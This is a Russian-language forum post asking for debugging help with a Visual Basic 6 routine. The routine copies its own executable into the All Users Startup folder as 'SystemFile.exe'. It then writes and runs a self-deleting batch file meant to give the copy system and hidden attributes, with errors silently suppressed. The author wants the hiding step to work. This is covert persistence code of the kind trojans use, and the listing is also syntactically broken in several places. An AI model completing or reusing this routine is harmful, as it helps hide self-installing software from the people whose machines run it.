Помогите найти ошибку в коде:

Private Function Grand()
on error resume next
Dim rt As Variant
rt = App.Path + "\" + App.EXEName + ".exe"
FileCopy rt, "C:\Documents and Settings\All Users\Главное меню\Программы\Автозагрузка\SystemFile.exe
Open "C:\Documents and Settings\All Users\Главное меню\Программы\Автозагрузка\tohide.bat" for append as #1
Print #1, "Chcp 1251"
Print #1, "attrib +s +h SystemFile.exe
Print #1, "Del %0"
Close #1
Shell "C:\Documents and Settings\All Users\Главное меню\Программы\Автозагрузка\tohide.bat"
End Sub

Private Sub Command1_Click()
If Label1.Caption = Label2.Caption Then Msg "...", vbOKOnly + vbInformation, "" Else Grand
End sub

без второй строчки (и с ней тоже) не выводит ни каких ошибок, но и нужного действия не происходит.

На счёт кропущеных ковычек в 5-ой строчке знаю, не то!

Попробовал исправить, но получается не всё. Копируется в Автозагрузку, создает бат-файл,
запускает его. Он в свою очередь должен бы скрыть файл и удалиться, но нет, он удаляется не скрывая файл.